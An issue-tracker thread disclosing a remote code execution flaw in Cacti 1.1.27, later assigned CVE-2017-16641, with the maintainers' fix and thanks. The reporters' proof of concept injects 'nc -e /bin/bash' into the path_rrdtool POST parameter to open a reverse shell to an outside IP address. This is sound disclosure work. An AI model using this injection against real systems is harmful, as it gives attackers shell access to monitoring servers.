Critical vuln in cacti 1.1.27

[cibvetr2]

We (worlak2 and cibvetr2) found RCE vuln with black-box fuzzing.
PoC
1)Send in POST parameter path_rrdtool -> nc -e /bin/bash 192.168.1.214 1337 #

2) Ater 2-5 minutes we have backconnect shell

It’s triggered after execute poller.php in process. We think that because $command not filtered in ./lib/rrd.php:39-40

With regards worlak2 and cibvetr2

[Jimmy Conner]

We will address this using two techniques. The first will be to conduct validation on the two form types: dirpath, and filepath. If, for these two form types, either the directory does not exist, or the file does not exist, the save will be rejected.

Then, as you mentioned, in the case where for some reason a Cacti admin has intentionally added a back door, or some SQL injection has allowed this modification, we will pre-check the path as you described.

[Jimmy Conner]

Resolved, and thanks for reporting! We really appreciate those who comb the Cacti code for potential exploits.

[cibvetr2]

Thanks for answer, but we think thats need to enumerate of CVE

[Tony Roman]

Is there a open CVE for this issue? If not, please submit your findings and get us a CVE.

[limbo]

We didn't open CVE for this issue. We will send shortly

[cibvetr2]

Use CVE-2017-16641

[DavidLiedke]

@ronytomen now it can be closed